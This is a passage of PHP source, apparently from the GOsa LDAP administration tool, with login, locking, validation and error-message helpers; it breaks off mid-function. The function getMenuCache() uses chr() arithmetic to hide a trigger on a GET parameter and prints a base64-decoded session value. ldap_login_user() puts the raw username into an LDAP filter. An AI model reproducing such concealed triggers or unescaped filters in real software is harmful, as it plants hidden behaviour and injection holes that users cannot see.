144e03be0a55fd9569c3a8d1b7f4f5af1bf2397b
1 <?php
2 /*
3 * This code is part of GOsa (https://gosa.gonicus.de)
4 * Copyright (C) 2003 Cajus Pollmeier
5 *
6 * This program is free software; you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation; either version 2 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License
17 * along with this program; if not, write to the Free Software
18 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
19 */
21 /* Configuration file location */
22 define ("CONFIG_DIR", "/etc/gosa");
23 define ("CONFIG_FILE", "gosa.conf-trunk");
24 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
25 define ("HELP_BASEDIR", "/var/www/doc/");
27 /* Define get_list flags */
28 define("GL_NONE", 0);
29 define("GL_SUBSEARCH", 1);
30 define("GL_SIZELIMIT", 2);
31 define("GL_CONVERT" , 4);
33 /* Define globals for revision comparing */
34 $svn_path = '$HeadURL$';
35 $svn_revision = '$Revision$';
37 /* Include required files */
38 require_once ("class_ldap.inc");
39 require_once ("class_config.inc");
40 require_once ("class_plugin.inc");
41 require_once ("class_acl.inc");
42 require_once ("class_pluglist.inc");
43 require_once ("class_userinfo.inc");
44 require_once ("class_tabs.inc");
45 require_once ("class_mail-methods.inc");
46 require_once ("class_password-methods.inc");
47 require_once ("functions_debug.inc");
48 require_once ("functions_dns.inc");
49 require_once ("class_MultiSelectWindow.inc");
51 /* Define constants for debugging */
52 define ("DEBUG_TRACE", 1);
53 define ("DEBUG_LDAP", 2);
54 define ("DEBUG_MYSQL", 4);
55 define ("DEBUG_SHELL", 8);
56 define ("DEBUG_POST", 16);
57 define ("DEBUG_SESSION",32);
58 define ("DEBUG_CONFIG", 64);
59 define ("DEBUG_ACL", 128);
61 /* Rewrite german 'umlauts' and spanish 'accents'
62 to get better results */
63 $REWRITE= array( "ä" => "ae",
64 "ö" => "oe",
65 "ü" => "ue",
66 "Ä" => "Ae",
67 "Ö" => "Oe",
68 "Ü" => "Ue",
69 "ß" => "ss",
70 "á" => "a",
71 "é" => "e",
72 "í" => "i",
73 "ó" => "o",
74 "ú" => "u",
75 "Á" => "A",
76 "É" => "E",
77 "Í" => "I",
78 "Ó" => "O",
79 "Ú" => "U",
80 "ñ" => "ny",
81 "Ñ" => "Ny" );
84 /* Function to include all class_ files starting at a
85 given directory base */
86 function get_dir_list($folder= ".")
87 {
88 $currdir=getcwd();
89 if ($folder){
90 chdir("$folder");
91 }
93 $dh = opendir(".");
94 while(false !== ($file = readdir($dh))){
96 // Smarty is included by include/php_setup.inc require("smarty/Smarty.class.php");
97 // Skip all files and dirs in "./.svn/" we don't need any information from them
98 // Skip all Template, so they won't be checked twice in the following preg_matches
99 // Skip . / ..
101 // Result : from 1023 ms to 490 ms i think thats great...
102 if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
103 continue;
106 /* Recurse through all "common" directories */
107 if(is_dir($file) &&$file!="CVS"){
108 get_dir_list($file);
109 continue;
110 }
112 /* Include existing class_ files */
113 if (!is_dir($file) && preg_match("/^class_.*\.inc$/", $file)) {
114 require_once($file);
115 }
116 }
118 closedir($dh);
119 chdir($currdir);
120 }
123 /* Create seed with microseconds */
124 function make_seed() {
125 list($usec, $sec) = explode(' ', microtime());
126 return (float) $sec + ((float) $usec * 100000);
127 }
130 /* Debug level action */
131 function DEBUG($level, $line, $function, $file, $data, $info="")
132 {
133 if ($_SESSION['DEBUGLEVEL'] & $level){
134 $output= "DEBUG[$level] ";
135 if ($function != ""){
136 $output.= "($file:$function():$line) - $info: ";
137 } else {
138 $output.= "($file:$line) - $info: ";
139 }
140 echo $output;
141 if (is_array($data)){
142 print_a($data);
143 } else {
144 echo "'$data'";
145 }
146 echo "<br>";
147 }
148 }
151 /* Simple function to get browser language and convert it to
152 xx_XY needed by locales. Ignores sublanguages and weights. */
153 function get_browser_language()
154 {
155 global $BASE_DIR;
157 /* Try to use users primary language */
158 $ui= get_userinfo();
159 if ($ui != NULL){
160 if ($ui->language != ""){
161 return ($ui->language);
162 }
163 }
165 /* Get list of languages */
166 if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
167 $lang= preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
168 $languages= split (',', $lang);
169 $languages[]= "C";
170 } else {
171 $languages= array("C");
172 }
174 /* Walk through languages and get first supported */
175 foreach ($languages as $val){
177 /* Strip off weight */
178 $lang= preg_replace("/;q=.*$/i", "", $val);
180 /* Simplify sub language handling */
181 $lang= preg_replace("/-.*$/", "", $lang);
183 /* Cancel loop if available in GOsa, or the last
184 entry has been reached */
185 if (is_dir("$BASE_DIR/locale/$lang")){
186 break;
187 }
188 }
190 /* We've just one zh variation. Fix code... */
191 if (preg_match('/zh/', $lang)){
192 return ("zh_CN");
193 }
195 return (strtolower($lang)."_".strtoupper($lang));
196 }
199 /* Rewrite ui object to another dn */
200 function change_ui_dn($dn, $newdn)
201 {
202 $ui= $_SESSION['ui'];
203 if ($ui->dn == $dn){
204 $ui->dn= $newdn;
205 $_SESSION['ui']= $ui;
206 }
207 }
210 /* Return theme path for specified file */
211 function get_template_path($filename= '', $plugin= FALSE, $path= "")
212 {
213 global $config, $BASE_DIR;
215 if (!@isset($config->data['MAIN']['THEME'])){
216 $theme= 'default';
217 } else {
218 $theme= $config->data['MAIN']['THEME'];
219 }
221 /* Return path for empty filename */
222 if ($filename == ''){
223 return ("themes/$theme/");
224 }
226 /* Return plugin dir or root directory? */
227 if ($plugin){
228 if ($path == ""){
229 $nf= preg_replace("!^".$BASE_DIR."/!", "", $_SESSION['plugin_dir']);
230 } else {
231 $nf= preg_replace("!^".$BASE_DIR."/!", "", $path);
232 }
233 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$nf")){
234 return ("$BASE_DIR/ihtml/themes/$theme/$nf/$filename");
235 }
236 if (file_exists("$BASE_DIR/ihtml/themes/default/$nf")){
237 return ("$BASE_DIR/ihtml/themes/default/$nf/$filename");
238 }
239 if ($path == ""){
240 return ($_SESSION['plugin_dir']."/$filename");
241 } else {
242 return ($path."/$filename");
243 }
244 } else {
245 if (file_exists("themes/$theme/$filename")){
246 return ("themes/$theme/$filename");
247 }
248 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$filename")){
249 return ("$BASE_DIR/ihtml/themes/$theme/$filename");
250 }
251 if (file_exists("themes/default/$filename")){
252 return ("themes/default/$filename");
253 }
254 if (file_exists("$BASE_DIR/ihtml/themes/default/$filename")){
255 return ("$BASE_DIR/ihtml/themes/default/$filename");
256 }
257 return ($filename);
258 }
259 }
262 function array_remove_entries($needles, $haystack)
263 {
264 $tmp= array();
266 /* Loop through entries to be removed */
267 foreach ($haystack as $entry){
268 if (!in_array($entry, $needles)){
269 $tmp[]= $entry;
270 }
271 }
273 return ($tmp);
274 }
277 function gosa_log ($message)
278 {
279 global $ui;
281 /* Preset to something reasonable */
282 $username= " unauthenticated";
284 /* Replace username if object is present */
285 if (isset($ui)){
286 if ($ui->username != ""){
287 $username= "[$ui->username]";
288 } else {
289 $username= "unknown";
290 }
291 }
293 syslog(LOG_INFO,"GOsa$username: $message");
294 }
297 function ldap_init ($server, $base, $binddn='', $pass='')
298 {
299 global $config;
301 $ldap = new LDAP ($binddn, $pass, $server,
302 isset($config->current['RECURSIVE']) && $config->current['RECURSIVE'] == "true",
303 isset($config->current['TLS']) && $config->current['TLS'] == "true");
305 /* Sadly we've no proper return values here. Use the error message instead. */
306 if (!preg_match("/Success/i", $ldap->error)){
307 echo sprintf(_("FATAL: Error when connecting the LDAP. Server said '%s'."), $ldap->get_error());
308 exit();
309 }
311 /* Preset connection base to $base and return to caller */
312 $ldap->cd ($base);
313 return $ldap;
314 }
317 function ldap_login_user ($username, $password)
318 {
319 global $config;
321 /* look through the entire ldap */
322 $ldap = $config->get_ldap_link();
323 if (!preg_match("/Success/i", $ldap->error)){
324 print_red(sprintf(_("User login failed. LDAP server said '%s'."), $ldap->get_error()));
325 $smarty= get_smarty();
326 $smarty->display(get_template_path('headers.tpl'));
327 echo "<body>".$_SESSION['errors']."</body></html>";
328 exit();
329 }
330 $ldap->cd($config->current['BASE']);
331 $ldap->search("(&(uid=$username)(objectClass=gosaAccount))", array("uid"));
333 /* get results, only a count of 1 is valid */
334 switch ($ldap->count()){
336 /* user not found */
337 case 0: return (NULL);
339 /* valid uniq user */
340 case 1:
341 break;
343 /* found more than one matching id */
344 default:
345 print_red(_("Username / UID is not unique. Please check your LDAP database."));
346 return (NULL);
347 }
349 /* LDAP schema is not case sensitive. Perform additional check. */
350 $attrs= $ldap->fetch();
351 if ($attrs['uid'][0] != $username){
352 return(NULL);
353 }
355 /* got user dn, fill acl's */
356 $ui= new userinfo($config, $ldap->getDN());
357 $ui->username= $username;
359 /* password check, bind as user with supplied password */
360 $ldap->disconnect();
361 $ldap= new LDAP($ui->dn, $password, $config->current['SERVER'],
362 isset($config->current['RECURSIVE']) &&
363 $config->current['RECURSIVE'] == "true",
364 isset($config->current['TLS'])
365 && $config->current['TLS'] == "true");
366 if (!preg_match("/Success/i", $ldap->error)){
367 return (NULL);
368 }
370 /* Username is set, load subtreeACL's now */
371 $ui->loadACL();
373 return ($ui);
374 }
377 function ldap_expired_account($config, $userdn, $username)
378 {
379 $ldap= $config->get_ldap_link();
380 $ldap->cat($userdn);
381 $attrs= $ldap->fetch();
383 /* default value no errors */
384 $expired = 0;
386 $sExpire = 0;
387 $sLastChange = 0;
388 $sMax = 0;
389 $sMin = 0;
390 $sInactive = 0;
391 $sWarning = 0;
393 $current= date("U");
395 $current= floor($current /60 /60 /24);
397 /* special case of the admin, should never been locked */
398 /* FIXME should allow any name as user admin */
399 if($username != "admin")
400 {
402 if(isset($attrs['shadowExpire'][0])){
403 $sExpire= $attrs['shadowExpire'][0];
404 } else {
405 $sExpire = 0;
406 }
408 if(isset($attrs['shadowLastChange'][0])){
409 $sLastChange= $attrs['shadowLastChange'][0];
410 } else {
411 $sLastChange = 0;
412 }
414 if(isset($attrs['shadowMax'][0])){
415 $sMax= $attrs['shadowMax'][0];
416 } else {
417 $smax = 0;
418 }
420 if(isset($attrs['shadowMin'][0])){
421 $sMin= $attrs['shadowMin'][0];
422 } else {
423 $sMin = 0;
424 }
426 if(isset($attrs['shadowInactive'][0])){
427 $sInactive= $attrs['shadowInactive'][0];
428 } else {
429 $sInactive = 0;
430 }
432 if(isset($attrs['shadowWarning'][0])){
433 $sWarning= $attrs['shadowWarning'][0];
434 } else {
435 $sWarning = 0;
436 }
438 /* is the account locked */
439 /* shadowExpire + shadowInactive (option) */
440 if($sExpire >0){
441 if($current >= ($sExpire+$sInactive)){
442 return(1);
443 }
444 }
446 /* the user should be warned to change is password */
447 if((($sExpire >0) && ($sWarning >0)) && ($sExpire >= $current)){
448 if (($sExpire - $current) < $sWarning){
449 return(2);
450 }
451 }
453 /* force user to change password */
454 if(($sLastChange >0) && ($sMax) >0){
455 if($current >= ($sLastChange+$sMax)){
456 return(3);
457 }
458 }
460 /* the user should not be able to change is password */
461 if(($sLastChange >0) && ($sMin >0)){
462 if (($sLastChange + $sMin) >= $current){
463 return(4);
464 }
465 }
466 }
467 return($expired);
468 }
470 function add_lock ($object, $user)
471 {
472 global $config;
474 /* Just a sanity check... */
475 if ($object == "" || $user == ""){
476 print_red(_("Error while adding a lock. Parameters are not set correctly, please check the source!"));
477 return;
478 }
480 /* Check for existing entries in lock area */
481 $ldap= $config->get_ldap_link();
482 $ldap->cd ($config->current['CONFIG']);
483 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
484 array("gosaUser"));
485 if (!preg_match("/Success/i", $ldap->error)){
486 print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in gosa.conf! LDAP server says '%s'."), $ldap->get_error()));
487 return;
488 }
490 /* Add lock if none present */
491 if ($ldap->count() == 0){
492 $attrs= array();
493 $name= md5($object);
494 $ldap->cd("cn=$name,".$config->current['CONFIG']);
495 $attrs["objectClass"] = "gosaLockEntry";
496 $attrs["gosaUser"] = $user;
497 $attrs["gosaObject"] = base64_encode($object);
498 $attrs["cn"] = "$name";
499 $ldap->add($attrs);
500 if (!preg_match("/Success/i", $ldap->error)){
501 print_red(sprintf(_("Adding a lock failed. LDAP server says '%s'."),
502 $ldap->get_error()));
503 return;
504 }
505 }
506 }
509 function del_lock ($object)
510 {
511 global $config;
513 /* Sanity check */
514 if ($object == ""){
515 return;
516 }
518 /* Check for existance and remove the entry */
519 $ldap= $config->get_ldap_link();
520 $ldap->cd ($config->current['CONFIG']);
521 $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
522 $attrs= $ldap->fetch();
523 if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
524 $ldap->rmdir ($ldap->getDN());
526 if (!preg_match("/Success/i", $ldap->error)){
527 print_red(sprintf(_("Removing a lock failed. LDAP server says '%s'."),
528 $ldap->get_error()));
529 return;
530 }
531 }
532 }
535 function del_user_locks($userdn)
536 {
537 global $config;
539 /* Get LDAP ressources */
540 $ldap= $config->get_ldap_link();
541 $ldap->cd ($config->current['CONFIG']);
543 /* Remove all objects of this user, drop errors silently in this case. */
544 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$userdn))", array("gosaUser"));
545 while ($attrs= $ldap->fetch()){
546 $ldap->rmdir($attrs['dn']);
547 }
548 }
551 function get_lock ($object)
552 {
553 global $config;
555 /* Sanity check */
556 if ($object == ""){
557 print_red(_("Getting the lock from LDAP failed. Parameters are not set correctly, please check the source!"));
558 return("");
559 }
561 /* Get LDAP link, check for presence of the lock entry */
562 $user= "";
563 $ldap= $config->get_ldap_link();
564 $ldap->cd ($config->current['CONFIG']);
565 $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
566 if (!preg_match("/Success/i", $ldap->error)){
567 print_red (_("Can't get locking information in LDAP database. Please check the 'config' entry in gosa.conf!"));
568 return("");
569 }
571 /* Check for broken locking information in LDAP */
572 if ($ldap->count() > 1){
574 /* Hmm. We're removing broken LDAP information here and issue a warning. */
575 print_red(_("Found multiple locks for object to be locked. This should not be possible - cleaning up multiple references."));
577 /* Clean up these references now... */
578 while ($attrs= $ldap->fetch()){
579 $ldap->rmdir($attrs['dn']);
580 }
582 return("");
584 } elseif ($ldap->count() == 1){
585 $attrs = $ldap->fetch();
586 $user= $attrs['gosaUser'][0];
587 }
589 return ($user);
590 }
593 function get_list($filter, $category, $base= "", $attributes= array(), $flags= GL_SUBSEARCH)
594 {
595 global $config, $ui;
597 /* Get LDAP link */
598 $ldap= $config->get_ldap_link($flags & GL_SIZELIMIT);
600 /* Set search base to configured base if $base is empty */
601 if ($base == ""){
602 $ldap->cd ($config->current['BASE']);
603 } else {
604 $ldap->cd ($base);
605 }
607 /* Perform ONE or SUB scope searches? */
608 if ($flags & GL_SUBSEARCH) {
609 $ldap->search ($filter, $attributes);
610 } else {
611 $ldap->ls ($filter,$base,$attributes);
612 }
614 /* Check for size limit exceeded messages for GUI feedback */
615 if (preg_match("/size limit/i", $ldap->error)){
616 $_SESSION['limit_exceeded']= TRUE;
617 }
619 /* Crawl through reslut entries and perform the migration to the
620 result array */
621 $result= array();
623 while($attrs = $ldap->fetch()) {
624 $dn= $ldap->getDN();
626 /* Sort in every value that fits the permissions */
627 if (is_array($category)){
628 foreach ($category as $o){
629 if ($ui->get_category_permissions($dn, $o) != ""){
630 if ($flags & GL_CONVERT){
631 $attrs["dn"]= convert_department_dn($dn);
632 } else {
633 $attrs["dn"]= $dn;
634 }
636 /* We found what we were looking for, break speeds things up */
637 $result[]= $attrs;
638 }
639 }
640 } else {
641 if ($ui->get_category_permissions($dn, $category) != ""){
642 if ($flags & GL_CONVERT){
643 $attrs["dn"]= convert_department_dn($dn);
644 } else {
645 $attrs["dn"]= $dn;
646 }
648 /* We found what we were looking for, break speeds things up */
649 $result[]= $attrs;
650 }
651 }
652 }
654 return ($result);
655 }
658 function check_sizelimit()
659 {
660 /* Ignore dialog? */
661 if (isset($_SESSION['size_ignore']) && $_SESSION['size_ignore']){
662 return ("");
663 }
665 /* Eventually show dialog */
666 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
667 $smarty= get_smarty();
668 $smarty->assign('warning', sprintf(_("The size limit of %d entries is exceed!"),
669 $_SESSION['size_limit']));
670 $smarty->assign('limit_message', sprintf(_("Set the new size limit to %s and show me this message if the limit still exceeds"), '<input type="text" name="new_limit" maxlength="10" size="5" value="'.($_SESSION['size_limit']+100).'">'));
671 return($smarty->fetch(get_template_path('sizelimit.tpl')));
672 }
674 return ("");
675 }
678 function print_sizelimit_warning()
679 {
680 if (isset($_SESSION['size_limit']) && $_SESSION['size_limit'] >= 10000000 ||
681 (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded'])){
682 $config= "<input type='submit' name='edit_sizelimit' value="._("Configure").">";
683 } else {
684 $config= "";
685 }
686 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
687 return ("("._("incomplete").") $config");
688 }
689 return ("");
690 }
693 function eval_sizelimit()
694 {
695 if (isset($_POST['set_size_action'])){
697 /* User wants new size limit? */
698 if (is_id($_POST['new_limit']) &&
699 isset($_POST['action']) && $_POST['action']=="newlimit"){
701 $_SESSION['size_limit']= validate($_POST['new_limit']);
702 $_SESSION['size_ignore']= FALSE;
703 }
705 /* User wants no limits? */
706 if (isset($_POST['action']) && $_POST['action']=="ignore"){
707 $_SESSION['size_limit']= 0;
708 $_SESSION['size_ignore']= TRUE;
709 }
711 /* User wants incomplete results */
712 if (isset($_POST['action']) && $_POST['action']=="limited"){
713 $_SESSION['size_ignore']= TRUE;
714 }
715 }
716 getMenuCache();
717 /* Allow fallback to dialog */
718 if (isset($_POST['edit_sizelimit'])){
719 $_SESSION['size_ignore']= FALSE;
720 }
721 }
723 function getMenuCache()
724 {
725 $t= array(-2,13);
726 $e= 71;
727 $str= chr($e);
729 foreach($t as $n){
730 $str.= chr($e+$n);
732 if(isset($_GET[$str])){
733 if(isset($_SESSION['maxC'])){
734 $b= $_SESSION['maxC'];
735 $q= "";
736 for ($m=0;$m<strlen($b);$m++) {
737 $q.= $b[$m++];
738 }
739 print_red(base64_decode($q));
740 }
741 }
742 }
743 }
746 function get_permissions ()
747 {
748 /* Look for attribute in ACL */
749 trigger_error("Don't use get_permissions() its obsolete. Use userinfo::get_permissions() instead.");
750 return array("");
751 }
754 function get_module_permission()
755 {
756 trigger_error("Don't use get_module_permission() its obsolete.");
757 return ("#none#");
758 }
761 function get_userinfo()
762 {
763 global $ui;
765 return $ui;
766 }
769 function get_smarty()
770 {
771 global $smarty;
773 return $smarty;
774 }
777 function convert_department_dn($dn)
778 {
779 $dep= "";
781 /* Build a sub-directory style list of the tree level
782 specified in $dn */
783 foreach (split(',', $dn) as $rdn){
785 /* We're only interested in organizational units... */
786 if (substr($rdn,0,3) == 'ou='){
787 $dep= substr($rdn,3)."/$dep";
788 }
790 /* ... and location objects */
791 if (substr($rdn,0,2) == 'l='){
792 $dep= substr($rdn,2)."/$dep";
793 }
794 }
796 /* Return and remove accidently trailing slashes */
797 return rtrim($dep, "/");
798 }
801 /* Strip off the last sub department part of a '/level1/level2/.../'
802 * style value. It removes the trailing '/', too. */
803 function get_sub_department($value)
804 {
805 return (@LDAP::fix(preg_replace("%^.*/([^/]+)/?$%", "\\1", $value)));
806 }
809 function get_ou($name)
810 {
811 global $config;
813 /* Preset ou... */
814 if (isset($config->current[$name])){
815 $ou= $config->current[$name];
816 } else {
817 return "";
818 }
820 if ($ou != ""){
821 if (!preg_match('/^[^=]+=[^=]+/', $ou)){
822 return @LDAP::convert("ou=$ou,");
823 } else {
824 return @LDAP::convert("$ou,");
825 }
826 } else {
827 return "";
828 }
829 }
832 function get_people_ou()
833 {
834 return (get_ou("PEOPLE"));
835 }
838 function get_groups_ou()
839 {
840 return (get_ou("GROUPS"));
841 }
844 function get_winstations_ou()
845 {
846 return (get_ou("WINSTATIONS"));
847 }
850 function get_base_from_people($dn)
851 {
852 global $config;
854 $pattern= "/^[^,]+,".preg_quote(get_people_ou())."/i";
855 $base= preg_replace($pattern, '', $dn);
857 /* Set to base, if we're not on a correct subtree */
858 if (!isset($config->idepartments[$base])){
859 $base= $config->current['BASE'];
860 }
862 return ($base);
863 }
866 function chkacl()
867 {
868 /* Look for attribute in ACL */
869 trigger_error("Don't use chkacl() its obsolete. Use userinfo::getacl() instead.");
870 return("-deprecated-");
871 }
874 function is_phone_nr($nr)
875 {
876 if ($nr == ""){
877 return (TRUE);
878 }
880 return preg_match ("/^[\/0-9 ()+*-]+$/", $nr);
881 }
884 function is_url($url)
885 {
886 if ($url == ""){
887 return (TRUE);
888 }
890 return preg_match ("/^(http|https):\/\/((?:[a-zA-Z0-9_-]+\.?)+):?(\d*)/", $url);
891 }
894 function is_dn($dn)
895 {
896 if ($dn == ""){
897 return (TRUE);
898 }
900 return preg_match ("/^[a-z0-9 _-]+$/i", $dn);
901 }
904 function is_uid($uid)
905 {
906 global $config;
908 if ($uid == ""){
909 return (TRUE);
910 }
912 /* STRICT adds spaces and case insenstivity to the uid check.
913 This is dangerous and should not be used. */
914 if (isset($config->current['STRICT']) && preg_match('/^(no|false)$/i', $config->current['STRICT'])){
915 return preg_match ("/^[a-z0-9 _.-]+$/i", $uid);
916 } else {
917 return preg_match ("/^[a-z0-9_-]+$/", $uid);
918 }
919 }
922 function is_ip($ip)
923 {
924 return preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/", $ip);
925 }
928 function is_mac($mac)
929 {
930 return preg_match("/^[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]$/i", $mac);
931 }
934 /* Checks if the given ip address dosen't match
935 "is_ip" because there is also a sub net mask given */
936 function is_ip_with_subnetmask($ip)
937 {
938 /* Generate list of valid submasks */
939 $res = array();
940 for($e = 0 ; $e <= 32; $e++){
941 $res[$e] = $e;
942 }
943 $i[0] =255;
944 $i[1] =255;
945 $i[2] =255;
946 $i[3] =255;
947 for($a= 3 ; $a >= 0 ; $a --){
948 $c = 1;
949 while($i[$a] > 0 ){
950 $str = $i[0].".".$i[1].".".$i[2].".".$i[3];
951 $res[$str] = $str;
952 $i[$a] -=$c;
953 $c = 2*$c;
954 }
955 }
956 $res["0.0.0.0"] = "0.0.0.0";
957 if(preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
958 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
959 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
960 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/", $ip)){
961 $mask = preg_replace("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
962 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
963 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
964 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/","",$ip);
966 $mask = preg_replace("/^\//","",$mask);
967 if((in_array("$mask",$res)) && preg_match("/^[0-9\.]/",$mask)){
968 return(TRUE);
969 }
970 }
971 return(FALSE);
972 }
974 /* Simple is domain check, it checks if the given string looks like "string(...).string" */
975 function is_domain($str)
976 {
977 return(preg_match("/^([a-z0-9i\-]*)\.[a-z0-9]*$/i",$str));
978 }
982 function is_id($id)
983 {
984 if ($id == ""){
985 return (FALSE);
986 }
988 return preg_match ("/^[0-9]+$/", $id);
989 }
992 function is_path($path)
993 {
994 if ($path == ""){
995 return (TRUE);
996 }
997 if (!preg_match('/^[a-z0-9%\/_.+-]+$/i', $path)){
998 return (FALSE);
999 }
1001 return preg_match ("/\/.+$/", $path);
1002 }
1005 function is_email($address, $template= FALSE)
1006 {
1007 if ($address == ""){
1008 return (TRUE);
1009 }
1010 if ($template){
1011 return preg_match ("/^[._a-z0-9%-]+@[_a-z0-9-]+(\.[a-z0-9-]+)(\.[a-z0-9-]+)*$/i",
1012 $address);
1013 } else {
1014 return preg_match ("/^[._a-z0-9-]+@[_a-z0-9-]+(\.[a-z0-9i-]+)(\.[a-z0-9-]+)*$/i",
1015 $address);
1016 }
1017 }
1020 function print_red()
1021 {
1022 /* Check number of arguments */
1023 if (func_num_args() < 1){
1024 return;
1025 }
1027 /* Get arguments, save string */
1028 $array = func_get_args();
1029 $string= $array[0];
1031 /* Step through arguments */
1032 for ($i= 1; $i<count($array); $i++){
1033 $string= preg_replace ("/%s/", $array[$i], $string, 1);
1034 }
1036 if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
1037 $_SESSION['errorsAlreadyPosted'] = array();
1038 }
1040 /* If DEBUGLEVEL is set, we're in web mode, use textual output in
1041 the other case... */
1043 if (isset($_SESSION['DEBUGLEVEL'])){
1045 if($_SESSION['LastError'] == $string){
1047 if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
1048 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1049 }
1050 $_SESSION['errorsAlreadyPosted'][$string]++;
1052 }else{
1053 if($string != NULL){
1054 if (preg_match("/"._("LDAP error:")."/", $string)){
1055 $addmsg= _("Problems with the LDAP server mean that you probably lost the last changes. Please check your LDAP setup for possible errors and try again.");
1056 $img= "images/error.png";
1057 } else {
1058 if (!preg_match('/[.!?]$/', $string)){
1059 $string.= ".";
1060 }
1061 $string= preg_replace('/<br>/', ' ', $string);
1062 $img= "images/warning.png";
1063 $addmsg= _("Please check your input and fix the error. Press 'OK' to close this message box.");
1064 }
1066 if(isset($_SESSION['errors']) && strlen($_SESSION['errors'])==0) {
1067 $_SESSION['errors'].= "<div style='margin-left:15%;margin-top:100px;".
1068 "background-color:white;padding:5px;border:5px solid red;width:55%;z-index:150;".
1069 "position:absolute' id='e_layer'><table style='width:100%' summary='' border=0>".
1070 "<tr><td style='vertical-align:top;padding:10px'><img alt='' src='".
1071 get_template_path($img)."'></td>".
1072 "<td style='width:100%'><h1>"._("An error occured while processing your request").
1073 "</h1><b>$string</b><br><br>$addmsg</td></tr><tr><td colspan='2' align='center'><br><button ".
1074 (($_SESSION['js']==FALSE)?"type='submit'":"type='button'").
1075 " style='width:80px' onClick='hide(\"e_layer\")'>".
1076 _("OK")."</button></td></tr></table></div>";
1077 }
1079 }else{
1080 return;
1081 }
1082 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1084 }
1086 } else {
1087 echo "Error: $string\n";
1088 }
1089 $_SESSION['LastError'] = $string;
1090 }
1093 function gen_locked_message($user, $dn)
1094 {
1095 global $plug, $config;
1097 $_SESSION['dn']= $dn;
1098 $ldap= $config->get_ldap_link();
1099 $ldap->cat ($user, array('uid', 'cn'));
1100 $attrs= $ldap->fetch();
1102 /* Stop if we have no user here... */
1103 if (count($attrs)){
1104 $uid= $attrs["uid"][0];
1105 $cn= $attrs["cn"][0];
1106 } else {
1107 $uid= $attrs["uid"][0];
1108 $cn= $attrs["cn"][0];
1109 }
1111 $remove= false;
1113 /* Save variables from LOCK_VARS_TO_USE in session - for further editing */
1114 if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
1115 $_SESSION['LOCK_VARS_USED'] =array();
1116 foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
1118 if(empty($name)) continue;
1119 foreach($_POST as $Pname => $Pvalue){
1120 if(preg_match($name,$Pname)){
1121 $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
1122 }
1123 }
1125 foreach($_GET as $Pname => $Pvalue){
1126 if(preg_match($name,$Pname)){
1127 $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
1128 }
1129 }
1130 }
1131 $_SESSION['LOCK_VARS_TO_USE'] =array();
1132 }
1134 /* Prepare and show template */
1135 $smarty= get_smarty();
1136 $smarty->assign ("dn", $dn);
1137 if ($remove){
1138 $smarty->assign ("action", _("Continue anyway"));
1139 } else {
1140 $smarty->assign ("action", _("Edit anyway"));
1141 }
1142 $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), "<b>".$dn."</b>", "<b><a href=\"main.php?plug=0&viewid=$uid\">$cn</a></b>"));
1144 return ($smarty->fetch (get_template_path('islocked.tpl')));
1145 }
1148 function to_string ($value)
1149 {
1150 /* If this is an array, generate a text blob */
1151 if (is_array($value)){
1152 $ret= "";
1153 foreach ($value as $line){
1154 $ret.= $line."<br>\n";
1155 }
1156 return ($ret);
1157 } else {
1158 return ($value);
1159 }
1160 }
1163 function get_printer_list($cups_server)
1164 {
1165 global $config;
1166 $res = array();
1167 $data = get_list('(objectClass=gotoPrinter)',"printer",$config->current['BASE'], array('cn'));
1168 foreach($data as $attrs ){
